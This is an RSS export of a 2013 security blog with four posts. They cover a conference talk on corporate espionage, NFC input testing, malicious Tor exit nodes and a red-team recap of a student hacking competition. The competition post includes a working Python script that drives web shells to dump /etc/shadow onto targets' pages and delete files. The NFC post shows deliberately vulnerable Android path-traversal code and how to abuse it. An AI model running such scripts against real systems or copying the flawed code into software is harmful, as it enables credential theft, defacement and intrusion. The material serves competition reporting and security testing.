<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ant18L0G</title>
	<atom:link href="http://www.antitree.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.antitree.com</link>
	<description></description>
	<lastBuildDate>Sat, 08 Jun 2013 19:45:14 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Intelligence in Infosec: My BSidesDetroit Talk</title>
		<link>http://www.antitree.com/intelligence-in-infosec-my-bsidesdetroit-talk/</link>
		<comments>http://www.antitree.com/intelligence-in-infosec-my-bsidesdetroit-talk/#comments</comments>
		<pubDate>Wed, 05 Jun 2013 19:24:50 +0000</pubDate>
		<dc:creator>antiblog</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.antitree.com/?p=635</guid>
		<description><![CDATA[This Friday, I&#8217;ll be presenting a weird presentation at BSides Detroit. It&#8217;s titled &#8220;Corporate Intelligence: Lisbeth Salandar vs James Bond&#8221; and it&#8217;s on a subject that has been stuck in my head for a while. It&#8217;s a talk about corporate spying, competitive intelligence, industrial espionage &#8212; the type of thing where people are stealing information [...]]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.antitree.com/wp-content/uploads/2013/06/dragon-tattoo.jpg"><img class="aligncenter size-full wp-image-636" alt="dragon-tattoo" src="http://www.antitree.com/wp-content/uploads/2013/06/dragon-tattoo.jpg" width="800" height="450" /></a></p>
<p>This Friday, I&#8217;ll be presenting a weird presentation at <a href="http://www.securitybsides.com/w/page/61144863/BSidesDetroit13">BSides Detroit</a>. It&#8217;s titled &#8220;<a href="http://www.securitybsides.com/w/page/62849966/BSidesDetroit13Sessions#t37">Corporate Intelligence: Lisbeth Salandar vs James Bond</a>&#8221; and it&#8217;s on a subject that has been stuck in my head for a while. It&#8217;s a talk about corporate spying, competitive intelligence, industrial espionage &#8212; the type of thing where people are stealing information from one group, and selling it to another. As is the case with most of my presentations, it has little to do with what I do for work, and more to do with play.</p>
<p>In short,<strong> it&#8217;s going to be an anti-anti-corporate espionage training course where instead of learning of ways to protect yourself from being spied upon, you&#8217;ll learn all the tactics that spies are using and how to become one yourself</strong>. I&#8217;ll cover something called the <a title="Using The CIA’s Intelligence Model For Your Security Objectives" href="http://www.antitree.com/using-the-cias-intelligence-model-for-your-security-objectives/">Intelligence Lifecycle</a> (that oddly enough a few other people have picked up on) and the Principal Motivators of Betrayal that shows how you can often convince people to become a spy for you. I&#8217;ve also created a little Android application that I wrote when I started playing these spy games.</p>
<p>Usually, when someone says &#8220;intel&#8221; they mean OSINT because there&#8217;s no way someone is going to spend the time trying to establish a human source of intel and no one wants to actually do something illegal like the tactics employed in technical intel gathering. OSINT, although referenced in the talk, is becoming somewhat of a tired subject. Not because I am an expert but because there&#8217;s nothing really new or novel about the way we use open sources of information. There is a lot of research about collection and very little about analysis so usually the output of most of the tools out there now is just downloading information online which results in a gigantic, unusable, pile of bloody data. I submitted a talk to Defcon Skytalks that goes into this subject even more (fingers crossed), but <strong>this talk, is more me laying the baseline to expand upon the idea of what we think of as &#8220;intel&#8221; to other sources of intelligence and see what kind of discussion it generates. </strong></p>
<p>The presentation is something I started while in Mexico reading <a href="http://www.amazon.com/Grey-Line-Corporate-Espionage-Counterintelligence/dp/1466338709/ref=sr_1_2?s=books&amp;ie=UTF8&amp;qid=1370459284&amp;sr=1-2&amp;keywords=modern+espionage">The Grey Line</a>. I moved on to other good books like Ira Winkler&#8217;s &#8220;Corporate Espionage&#8221; and &#8220;The Quiet Threat&#8221; by Ronald L. Mendell.  The full reading list is below if you&#8217;re interested.</p>
<p><a href="http://www.amazon.com/Grey-Line-Corporate-Espionage-Counterintelligence/dp/1466338709/">The Grey Line: Modern Corporate Espionage and Counterintelligence</a>, Andrew Brown</p>
<p><a href="http://www.amazon.com/Corporate-Espionage-Happening-Company-About/dp/0761518096/">Corporate Espionage: What It Is, Why It&#8217;s Happening in Your Company, What You Must Do About It</a>, Ira Winkler</p>
<p><a href="http://www.amazon.com/Quiet-Threat-Fighting-Industrial-Espionage/dp/0398079633/">The Quiet Threat</a>, Ronald L. Mendell</p>
<p><a href="http://www.amazon.com/Countering-Industrial-Espionage-Peter-Heims/dp/090596103X">Countering Industrial Espionage</a>, Peter Heiims</p>
<p><a href="http://www.amazon.com/Competitive-Technical-Intelligence-Professional-Reference/dp/0841235155/">Competitive Technical Intelligence: A Guide To Design, Analysis, And Action</a>, Mathias M Coburn</p>
<p><a href="http://www.amazon.com/Industrial-Espionage-Intelligence-Techniques-Countermeasures/dp/0409951080/">Industrial Espionage: Intelligence Techniques and Countermeasures</a>, Norman R Bottom, Jr., Robert R. J. Gallati</p>
<p><strong>UPDATE: 6/8/2013 a version of my slide deck<br />
</strong>
<div align="center">
<iframe width="427" height="356" style="border: 1px solid #CCC; border-width: 1px 1px 0; margin-bottom: 5px;" src="http://www.slideshare.net/slideshow/embed_code/22669053" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="" webkitallowfullscreen="" mozallowfullscreen=""></iframe></p>
<div style="margin-bottom: 5px;"><strong> <a title="Salander v Bond: BSidesDetroit" href="http://www.slideshare.net/antitree/salander-v-bond-b-sides-detroit-final-v3" target="_blank">Salander v bond b sides detroit final v3</a> </strong> from <strong><a href="http://www.slideshare.net/antitree" target="_blank">antitree</a></strong></div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.antitree.com/intelligence-in-infosec-my-bsidesdetroit-talk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Testing NFC Input Vectors</title>
		<link>http://www.antitree.com/testing-nfc-input-vectors/</link>
		<comments>http://www.antitree.com/testing-nfc-input-vectors/#comments</comments>
		<pubDate>Tue, 30 Apr 2013 09:02:36 +0000</pubDate>
		<dc:creator>antiblog</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.antitree.com/?p=592</guid>
		<description><![CDATA[Can we agree that NFC is here to stay? Just about every mobile platform supports it, (I&#8217;m looking at you Apple) including simple feature phones from way back when . Let me just get to the good part: NFC input vectors for pen-testing. The scenario here is a mobile application that supports some kind of NFC exchange. Maybe it&#8217;s a Windows [...]]]></description>
				<content:encoded><![CDATA[<p>Can we agree that NFC is here to stay? Just about every mobile platform supports it, (I&#8217;m looking at you Apple) including simple feature phones <a title="from" href="http://www.engadget.com/2011/08/18/nokia-gifts-museum-of-london-with-nfc-tags-makes-you-tap-for-mo/">from</a> <a title="way" href="http://www.nfcworld.com/nfc-phones-list/#museum">way</a> <a title="back" href="http://www.gsmarena.com/nokia_600-4118.php">back</a> <a title="when" href="http://en.wikipedia.org/wiki/Nokia_6131">when</a> . Let me just get to the good part: NFC input vectors for pen-testing. The scenario here is a mobile application that supports some kind of NFC exchange. Maybe it&#8217;s a Windows Phone 8 tag reader or something using Android Beam &#8212; whatever. The point is that the mobile app is receiving input from an outside source (the NFC tag), and we want to make sure it&#8217;s properly validating that input. Specifically, when an application reads in the NDEF (or proprietary) content from the NFC tag, how is it used by the application? What happens when we change this value to something unexpected? In an ideal world, it will catch the exception and stop trying to read the tag, but what about in the case of &#8220;less than ideal&#8221; programming.</p>
<h1>Tools</h1>
<p>To get started we need something that can read and write NFC tags. Sorry, iPhone users, but the easiest way to do this as I see it is to use an Android device and a few choice apps:</p>
<h2>NXP NFC TagInfo</h2>
<p>Does exactly what its name implies. It gives you info on an NFC tag. This includes any kind of ASCII characters inside of the NDEF storage container or a hex representation of the values if that&#8217;s your thing. This is step 1 when it comes to learning about the content that&#8217;s on an NFC tag. <a href="https://play.google.com/store/apps/details?id=com.nxp.taginfolite&amp;hl=en">Play store link</a>.</p>
<h2>NXP NFC Tag Writer</h2>
<p>NXP&#8217;s tag writer will read, write, and copy tags. When I say copy, I mean it will copy the NDEF format. That&#8217;s the content that&#8217;s normally on an NFC tag. Hard coded values like the UID can&#8217;t be changed (unless you know where to get <a href="http://via.me/-2gtpp82">sketchy NFC tags</a> and even then you need a libNFC-based tool to interface with it). <a href="https://play.google.com/store/apps/details?id=com.nxp.nfc.tagwriter&amp;hl=en">Play store link</a>.</p>
<h2>NFC Developer</h2>
<p>This is where the fun happens. This app allows you to design just about any NDEF formatted NFC tag you want. The nice part of this is if there is an application implementing a weird custom format, you can create it. It&#8217;s made by Thomas Skjolberg who apparently has a whole workshop on the subject that gets you started with NFC on Android.</p>
<p>Used in partnership with the <a href="http://ndefeditor.com/">ndefeditor.com</a> site, the app lets you generate just about any NFC tag you can think of and then record it to a tag. Or you can use the Eclipse Plugin  that does the same thing inside of Eclipse. Very useful.</p>
<p>Create a new tag in Eclipse by going to New&gt;Other&gt;NDEF File</p>
<p><a href="http://www.antitree.com/wp-content/uploads/2013/04/blog1.png"><img class="aligncenter" alt="blog1" src="http://www.antitree.com/wp-content/uploads/2013/04/blog1.png" width="314" height="299" /></a></p>
<p>Fill the file with whatever contents you want or whatever the application can handle. This may be a specific MIME type like below or a Android Application Resource (AAR)&#8230; or many other things for that matter.<br />
<a href="http://www.antitree.com/wp-content/uploads/2013/04/blog5.png"><img class="aligncenter" alt="blog5" src="http://www.antitree.com/wp-content/uploads/2013/04/blog5.png" width="438" height="281" /></a></p>
<p>&nbsp;</p>
<p>Once you&#8217;re done, it&#8217;ll create a QR code for you that you can scan with the NFC Developer application installed on your device.<br />
<a href="http://www.antitree.com/wp-content/uploads/2013/04/blog3.png"><img class="aligncenter" alt="blog3" src="http://www.antitree.com/wp-content/uploads/2013/04/blog3-576x1024.png" width="346" height="614" /></a></p>
<p>You&#8217;ll now be able to load your custom NDEF message onto an NFC tag of your choice.</p>
<p><a href="https://play.google.com/store/apps/details?id=com.antares.nfc&amp;hl=en">Link</a></p>
<h2>Tags</h2>
<p>If you&#8217;re using Android, you don&#8217;t necessarily need to write your content to physical tags. It&#8217;s possible to manually create intents that look like the device is receiving an NFC tag. But since we&#8217;re talking about testing any NFC function on *any* platform, you&#8217;ll need to pick up some NFC tags. The NFC protocol itself supports a &#8220;card emulation&#8221; mode where you could theoretically turn your Android phone into a simple NFC tag, but from what I understand, it&#8217;s either extremely hard to do or impossible right now because it&#8217;s based on the NFC secure element that is manufacturer specific. If someone wants to enlighten me on that, please feel free.</p>
<p>You&#8217;ll want a variety of tag types. The main difference you&#8217;ll be concerned about here is just the amount of storage. The Mifare 4K have a reasonably large storage capacity and can still deliver the data in the same way that a Mifare Classic (1K). Maybe there&#8217;s a situation where you&#8217;ll need a special tag type but I haven&#8217;t run into that yet. Either way, here&#8217;s a random <a href="http://rapidnfc.com/cat/15/nfc_starter_packs">link to some tags</a>.<em id="__mceDel"> </em></p>
<h1>Bad Code:</h1>
<p>Lets take a look at some example code for Android that we&#8217;re trying to exploit. This is a portion of code that is reading an NFC tag, and saving to a file name based on that input. You can see that the value of &#8220;strfile1&#8243; is whatever the first NDEF record is. What happens if that payload was something like &#8220;../databases/superimportantcontent.db&#8221;.  Even worse, the app looks at the second value of the NDEF record for the content to write to.</p><pre class="crayon-plain-tag">Parcelable[] rawMsgs = intent.getParcelableArrayExtra(
        NfcAdapter.EXTRA_NDEF_MESSAGES);
NdefMessage msg = (NdefMessage) rawMsgs[0];
String payload = new String(msg.getRecords()[0].getPayload());

String strfile1 = getApplicationContext().getFilesDir().getAbsolutePath() + payload ; //is this bad? :)
File f1 = new File(strfile1);
FileWriter filewriter = new FileWriter(f1);
BufferedWriter out = new BufferedWriter(filewriter);
out.write(msg.getRecords()[1].getPayload());
out.close();</pre><p>Lets imagine that this app stores a textfile of SSH hosts to connect to. In this case, we could create a custom NFC tag that would have a first record of the path we want to access (&#8220;SSH.txt&#8221;) and the second record would be the values to put inside of this file (your malicious SSH MiTM proxy). Having a user read your custom tag would redirect their connections to you.</p>
<p>Happy hacking.</p>
<p style="text-align: center;"> <a href="http://www.antitree.com/wp-content/uploads/2013/04/blog3.png"><br />
</a> <a href="http://www.antitree.com/wp-content/uploads/2013/04/blog1.png"><br />
</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.antitree.com/testing-nfc-input-vectors/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malicious Exit Nodes: Judge Dredd or Anarchy?</title>
		<link>http://www.antitree.com/malicious-exit-nodes-judge-dredd/</link>
		<comments>http://www.antitree.com/malicious-exit-nodes-judge-dredd/#comments</comments>
		<pubDate>Sat, 30 Mar 2013 03:47:01 +0000</pubDate>
		<dc:creator>antiblog</dc:creator>
				<category><![CDATA[privacy]]></category>
		<category><![CDATA[Tor]]></category>

		<guid isPermaLink="false">http://www.antitree.com/?p=583</guid>
		<description><![CDATA[InspecTor is a .onion page that kept track of bad exit nodes on the network. And it did a pretty good job. It looked for things like: SSL Stripping: Replacing HTTPS links with HTTP JavaScript injection iFrame injection Exit nodes that have no exit policy (black holes) Those are the easy to quantify bad properties. [...]]]></description>
				<content:encoded><![CDATA[<p><a href="http://xqz3u5drneuzhaeo.onion/users/badtornodes/">InspecTor</a> is a .onion page that kept track of bad exit nodes on the network. And it did a pretty good job. It looked for things like:</p>
<ul>
<li><span style="line-height: 13px;">SSL Stripping: Replacing HTTPS links with HTTP</span></li>
<li>JavaScript injection</li>
<li>iFrame injection</li>
<li>Exit nodes that have no exit policy (black holes)</li>
</ul>
<p>Those are the easy to quantify bad properties. We can compare the results of connecting to a bad Exit Node and a good one and diff the results. These are some of the grey areas it also tries to look for:</p>
<ul>
<li><span style="line-height: 13px;">Warning about similar nodes in the same netblock</span></li>
<li>Watch for similar named nodes spinning up hundreds of instances</li>
<li>Look at the names of the nodes and conclude that they&#8217;re bad (e.g. NSAFortMeade)</li>
</ul>
<p>The worst case scenario for a service like this, is that first, they&#8217;re wrong and kick off a perfectly good Exit Node. Second, they make users use custom routes to evade the bad nodes. Doing so means that your network traffic has a fingerprint. &#8220;He&#8217;s the guy that never users Iranian exits&#8221; for example.</p>
<p>And that&#8217;s kind of what happened with InspecTor &#8211; now celebrating the anniversary of it&#8217;s retirement a year ago. He went Judge Dredd on Tor and started making broad conclusions on what nodes were evil. For example, he said that NSAFortMeade is obviously an Exit Node owned by the NSA assumedly to catch the traffic of Americans (because they can&#8217;t do that already?). Other conclusions stated that a family of Tor nodes were from Washington DC. One of them was malicious so the conclusion was that it was probably the Government keeping an eye on us.</p>
<h1>Tor&#8217;s Controls</h1>
<p>What does Tor have as a control mechanism if they do somehow come across a bad exit node? The protocol has a &#8220;bad-exit&#8221; flag in it so that authorities can let Tor users that this Exit-Node should be avoided. That flag is set by The Tor Project admins as far as I know and you have to be blatantly offensive to cause this to happen. Here is the _total_ list  of nodes that are blocked today:</p>
<table width="742" border="0" cellspacing="0" cellpadding="0">
<colgroup>
<col width="226" />
<col width="219" />
<col width="147" />
<col width="150" /> </colgroup>
<tbody>
<tr>
<td width="226" height="20">agitator</td>
<td width="219">agitator.towiski.de [188.40.77.107]</td>
<td width="147">Directory Server</td>
<td width="150">Guard Server</td>
</tr>
<tr>
<td height="20">Unnamed</td>
<td>vz14796.eurodir.ru [46.30.42.154]</td>
<td>Exit Server</td>
<td>Guard Server</td>
</tr>
<tr>
<td height="20">Unnamed</td>
<td>vz14794.eurodir.ru [46.30.42.152]</td>
<td>Exit Server</td>
<td>Tor 0.2.3.25 on Linux</td>
</tr>
<tr>
<td height="20">Unnamed</td>
<td>vz14795.eurodir.ru [46.30.42.153]</td>
<td>Exit Server</td>
<td>Guard Server</td>
</tr>
</tbody>
</table>
<p style="text-align: right;"><a href="http://torstatus.blutmagie.de/index.php?SR=FBadExit&amp;SO=Desc">http://torstatus.blutmagie.de/index.php?SR=FBadExit&amp;SO=Desc</a></p>
<p>This says that there are four bad nodes (one&#8217;s a bad directory server) on the network right now. I think most people would agree that is a bit low. You can take a look at <a href="https://trac.torproject.org/projects/tor/wiki/doc/badRelays">this link</a> for a complete list of the nodes they&#8217;ve blocked in the past. You should notice that a bad-exit flag doesn&#8217;t kick them off the network, it just tells the client to never use them as an exit. So these nodes can stay online as long as they want but they&#8217;ll never be used.</p>
<h1>The Point</h1>
<p>The point is not to just say everything sucks. How Tor isn&#8217;t doing a good job at monitoring for Exit Nodes or how InspecTor was doing too good of a job for it&#8217;s own good. It&#8217;s to highlight the real-world problem in Tor. Unlike the sexy theoretical attacks we like to wrap our heads around like <a href="https://blog.torproject.org/blog/experimental-defense-website-traffic-fingerprinting">global adversaries correlating your traffic back to an individual IP by statistically analyzing your web history patterns</a>, the most likely thing to happen to you is that <a href="https://lists.torproject.org/pipermail/tor-relays/2012-March/001252.html">some douche nuckle is running dsniff and ulogd</a>. And the point is also to highlight a need for a replacement of Snakes On A Tor. You can tell by it&#8217;s name, it&#8217;s a bit outdated. That is something actively being worked on but it may be a while before something reliable comes out of it.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.antitree.com/malicious-exit-nodes-judge-dredd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ISTS X</title>
		<link>http://www.antitree.com/ists-x/</link>
		<comments>http://www.antitree.com/ists-x/#comments</comments>
		<pubDate>Mon, 25 Mar 2013 13:29:00 +0000</pubDate>
		<dc:creator>antiblog</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[SPARSA]]></category>

		<guid isPermaLink="false">http://www.antitree.com/?p=539</guid>
		<description><![CDATA[Another year, another ISTS. For those that haven&#8217;t heard the Information Security Talent Search (ISTS) is a yearly event run by RIT&#8217;s SPARSA group &#8212; a student run organization. This isn&#8217;t your run-of-the-mill hacking competition. ISTS was one of the first (if not the first) to actually bring an offensive perspective to the competition. Here&#8217;s [...]]]></description>
				<content:encoded><![CDATA[<p>Another year, another ISTS. For those that haven&#8217;t heard the <a href="http://ists.sparsa.org">Information Security Talent Search</a> (ISTS) is a yearly event run by RIT&#8217;s SPARSA group &#8212; a student run organization. This isn&#8217;t your run-of-the-mill hacking competition. ISTS was one of the first (if not the first) to actually bring an offensive perspective to the competition.</p>
<p>Here&#8217;s your job:</p>
<ol>
<li><span style="line-height: 13px;">Keep your services running &#8211; the longer they are up, the more points you get</span></li>
<li>Stop your opponents from running services. Hack, exploit, social engineer, whatever.. make their boxes go down.</li>
<li>Complete the business injects that are given throughout the day</li>
<li>Complete the various challenges faster than your opponents</li>
</ol>
<p>Sounds simple right?</p>
<h1>Setup</h1>
<p>As always, SPARSA worked hard to get the system up and working by opening hours. And as always, that didn&#8217;t necessarily work out. But to be fair, to configure the competition the way it needed to be was not a simple task.</p>
<p>Last year we had a power outage in the opening minutes of the competition, this year, we had some networking issues that delayed us about an hour and half. Minus a few other issues like the Red Team didn&#8217;t have enough networking equipment to begin, we were good. Issues aside, the SPARA people worked insanely hard to organize this event and I think overall it went over amazingly.</p>
<p>This year was the introduction of Col. Sanders &#8211; a no nonsense representation of the worst case boss you could ever had. When the Red Team exfiltrated sensitive information off the network, it was reported to Col. Sanders who would bring in the affected team and give them a stern yelling. First offense was a single team member, second offense was the entire team.</p>
<p>But if your entire team has to go into the office, this leaves your physical security lacking.</p>
<p><a href="http://www.antitree.com/wp-content/uploads/2013/03/IMe3Brg.jpg"><img class="aligncenter size-medium wp-image-554" alt="IMe3Brg" src="http://www.antitree.com/wp-content/uploads/2013/03/IMe3Brg-300x169.jpg" width="300" height="169" /></a></p>
<p>In previous years, the problem (for the Red Team) was that after about a half a day, the Blue Teams would figure out how to lock down their services or replace them with secure versions of services, and we would be in a bit of trouble having to dig deep for some attack vectors. This year, was great because teams would often decide to roll back to a previous version of their system, restoring all of the old vulnerabilities that had just patched.</p>
<h1>Red Team</h1>
<p>Our read team this year was made up of Raphael Mudge (<a href="http://www.advancedpentest.com/">Cobalt Strike</a>),   Joe Werther (<a href="http://www.ll.mit.edu/">MIT Lincoln Labs</a>), Jason Ross (<a href="http://www.intrepidusgroup.com">Intrepidus Group</a>), Corey Sinay (<a href="http://www.boozallen.com/">Booz Allen</a>), Phillip Martin (<a href="http://www.palantir.com/">Palantir</a>), Tim April (Akamai), Rusty Bower (<a href="http://www.palantir.com/">Palantir</a>), Justin Elze (<a href="http://www.accuvant.com/">Accuvant</a>), Charles Profitt, (anyone I&#8217;m missing) and  myself [UPDATE: Forgot our freaking group leader - JP Bourget of <a href="http://syncurity.net/">Syncurity</a>].</p>
<p>Our job, was to add some anarchy to the already stressful environment. Although competitors were already attacking each other, it was our job to attack everyone as well.  Cruel and entertaining.</p>
<h1>War Stories</h1>
<p>This was a pretty unfortunate blood bath. To start off, we had the developer of effing Cobalt Strike with us who had default credentials on the boxes from the beginning. He built a custom listener that beaconed home via DNS. That&#8217;s I&#8217;ll I&#8217;m going to say about that.</p>
<p><a href="http://www.antitree.com/wp-content/uploads/2013/03/Cobalt-Strike-logo.png"><img class="aligncenter" alt="Cobalt Strike logo" src="http://www.antitree.com/wp-content/uploads/2013/03/Cobalt-Strike-logo-1024x243.png" width="574" height="136" /></a></p>
<p>This year we added a cruel little detail. Unlike previous years where we would secretly just report issues we exploited to the White Team, we decided that public shaming was a better route so we created a <a href="http://www.reddit.com/r/istsredteam">subreddit </a>dedicated to mocking the teams. Col. Sanders put this up on the screens in front of the contestants to let them see live what was happening.</p>
<p>I think Rusty did the Wingdings one &#8211; which replaced the fonts on the Windows machines with only Wingdings. You&#8217;ll see a lot of screenshots showing shadow files, exploiting web stuff, and dropping database tables (and complete databases in Jason&#8217;s case). VNC that was running on a lot of the machines made it extra interesting to watch their thought process. There was also some logging in via open MYSQL instances.</p>
<h1>Web Fun</h1>
<p>I wish I could get more stories from others but I can tell you that I enjoyed playing with web vulnerabilities on the Sea Shell application. This was an app that had a directory traversal, a c99 web shell, a chinese character shell, and a web shell inside of a picture of a shell!</p>
<p>We would take the C99 shell, and copy  it over to another directory &#8211; usually the cgi-bin directory. This ended up being really difficult for some teams to detect so I would dump their shadow file to their index page, they would reboot and delete everything in /var/www and then I would dump their shadow file again and taunt them. It looked like this:</p>
<p><a href="http://www.antitree.com/wp-content/uploads/2013/03/bNEhfbq.png"><img class="aligncenter size-large wp-image-552" alt="bNEhfbq" src="http://www.antitree.com/wp-content/uploads/2013/03/bNEhfbq-1024x313.png" width="1024" height="313" /></a></p>
<p><a href="http://www.antitree.com/wp-content/uploads/2013/03/sosadbroh.png"><br />
</a> <a href="http://www.antitree.com/wp-content/uploads/2013/03/broh2.png"><img class="aligncenter size-full wp-image-542" alt="broh2" src="http://www.antitree.com/wp-content/uploads/2013/03/broh2.png" width="724" height="196" /></a> <a href="http://www.antitree.com/wp-content/uploads/2013/03/broh_security.png"><br />
</a> <a href="http://www.antitree.com/wp-content/uploads/2013/03/fuckoffshithead.png"><img class="aligncenter size-full wp-image-540" alt="fuckoffshithead" src="http://www.antitree.com/wp-content/uploads/2013/03/fuckoffshithead.png" width="494" height="179" /></a></p>
<p>The last one, they added in some code that said if page = anything except login or blog, then print this nice message. But they never found the issue.</p>
<p>I ended up just scripting the whole thing because this was a waste of time.</p><pre class="crayon-plain-tag">import requests
import time
from optparse import OptionParser

timeout = 5

parser = OptionParser()
parser.add_option("-x",  dest="host",
                  help="Choose an individual host to test")

(options, args) = parser.parse_args()
print(options.host)

def c99(group):
   try: 
       r = requests.get("http://10.0." + str(group)  + ".101/shell.php?act=cmd&amp;cmd=echo+%22balls%22+%3E+%2Fvar%2Fwww%2Findex.php&amp;d=%2Fusr%2Flib%2Fcgi-bin%2F&amp;submit=Execute&amp;cmd_txt=1")
       print(r.text())
       if r.status_code == 200:
         cresult=1
	 print(cresult)
       else: cresult=2
   except:
       cresult=3

   return cresult

def shell(group):
   try:
       r = requests.get('http://10.0.' + str(group) + '.101/seashell.png?command=cat%20/etc/shadow&gt;/var/www/index.htm', timeout=timeout)

       r = requests.get('http://10.0.' + str(group) + '.101/seashell.png?command=rm%20/var/www/index.php', timeout=timeout)
       if r.status_code == 200:
          sresult= 1
	  print(sresult)
       else:
	  sresult = 2
   except:
       sresult = 3
   return sresult

if options.host:
   print(c99(options.host))
   print(shell(options.host))
else:
 while True: 
   result = []  
   for group in range(200,213):
        print("Trying c99 on %s" % group)
    	if (c99(group)) == 1:
	   result.append(group)
	print("Trying shell method %s" % group)
        if shell(group) == 1:
	   result.append(group)
	print("----")

   print("XXXXXXXXXXXXXXXXXXXXXXX")
   print("XXX  GROUPS PWND    XXX")
   for x in result:
      print(x)
   print(".... Waiting ....")
   time.sleep(60)</pre><p>You&#8217;ll see this did a command injection using the &#8220;Seashell.png&#8221; and tried to use the c99 shell  if it was there to dump /etc/shadow to their main page. One just printed &#8220;balls&#8221; to the main index page. I noticed code that tried to detect this specific attack that would search for &#8220;balls&#8221;. Others gave up and changed their static page to this:</p>
<p><a href="http://www.antitree.com/wp-content/uploads/2013/03/team4_lolzballs.png"><img class="aligncenter size-full wp-image-555" alt="team4_lolzballs" src="http://www.antitree.com/wp-content/uploads/2013/03/team4_lolzballs.png" width="288" height="184" /></a></p>
<p>&nbsp;</p>
<p>The whole point of this was to knock down the score so it was run on all the teams every 60 seconds. I ran it for about 4 hours and it kept getting new groups that were rolling back their machines to previous versions I think.</p>
<p><a href="http://www.antitree.com/wp-content/uploads/2013/03/autopwn.png"><img class="aligncenter size-full wp-image-573" alt="autopwn" src="http://www.antitree.com/wp-content/uploads/2013/03/autopwn.png" width="580" height="552" /></a></p>
<p>&nbsp;</p>
<h1>Offense Is The New Black</h1>
<p>I can&#8217;t say enough positive things about the experience of ISTS. It was well organized, managed by hard working people, and all in all went off without major issues. From a talent search perspective, I think that ISTS is far beyond many of the other competitions that have always been doing a Defend and Remediate approach to emulate IT environments. Now that we can all agree that we need offensive people as well as defensive people, companies should be paying attention to these people at ISTS.</p>
<p>Again, ISTS has been doing offensive security way before it was cool making them the hipsters of hacker competitions.</p>
<p><a href="http://www.antitree.com/wp-content/uploads/2013/03/hackerhipster.png"><img class="aligncenter size-full wp-image-575" alt="hackerhipster" src="http://www.antitree.com/wp-content/uploads/2013/03/hackerhipster.png" width="329" height="299" /></a></p>
<p>&nbsp;</p>
<p>UPDATE 3/26: More people are blogging from the redteam:</p>
<p>Justin Elze:</p>
<ul>
<li><a href="http://justinelze.wordpress.com/2013/03/26/ists-defense/">http://justinelze.wordpress.com/2013/03/26/ists-defense/</a></li>
<li><a href="http://justinelze.wordpress.com/2013/03/26/rpi-toolkit-ists-x/">http://justinelze.wordpress.com/2013/03/26/rpi-toolkit-ists-x/</a> &#8211; dropping dox on RPI&#8217;s toolkit.</li>
</ul>

<a href='http://www.antitree.com/ists-x/omgpwnies/' title='omgpwnies'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/omgpwnies-150x150.png" class="attachment-thumbnail" alt="omgpwnies" /></a>
<a href='http://www.antitree.com/ists-x/autopwn/' title='autopwn'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/autopwn-150x150.png" class="attachment-thumbnail" alt="autopwn" /></a>
<a href='http://www.antitree.com/ists-x/2ztqrax/' title='2ZtqRax'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/2ZtqRax-150x150.png" class="attachment-thumbnail" alt="2ZtqRax" /></a>
<a href='http://www.antitree.com/ists-x/uee26ga/' title='uEE26ga'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/uEE26ga-150x150.jpg" class="attachment-thumbnail" alt="uEE26ga" /></a>
<a href='http://www.antitree.com/ists-x/203_shadow/' title='203_shadow'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/203_shadow-150x150.png" class="attachment-thumbnail" alt="203_shadow" /></a>
<a href='http://www.antitree.com/ists-x/206_embarassing/' title='206_embarassing'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/206_embarassing-150x150.png" class="attachment-thumbnail" alt="206_embarassing" /></a>
<a href='http://www.antitree.com/ists-x/hyletzz/' title='HylEtZz'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/HylEtZz-150x150.jpg" class="attachment-thumbnail" alt="HylEtZz" /></a>
<a href='http://www.antitree.com/ists-x/ymqegry/' title='YMQegry'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/YMQegry-150x150.png" class="attachment-thumbnail" alt="YMQegry" /></a>
<a href='http://www.antitree.com/ists-x/crb6agm/' title='Crb6AGM'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/Crb6AGM-150x150.png" class="attachment-thumbnail" alt="Crb6AGM" /></a>
<a href='http://www.antitree.com/ists-x/bnehfbq/' title='bNEhfbq'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/bNEhfbq-150x150.png" class="attachment-thumbnail" alt="bNEhfbq" /></a>
<a href='http://www.antitree.com/ists-x/o3ryldt/' title='o3rYLdT'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/o3rYLdT-150x150.png" class="attachment-thumbnail" alt="o3rYLdT" /></a>
<a href='http://www.antitree.com/ists-x/q8kpsbc/' title='q8KPSbc'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/q8KPSbc-150x150.png" class="attachment-thumbnail" alt="q8KPSbc" /></a>
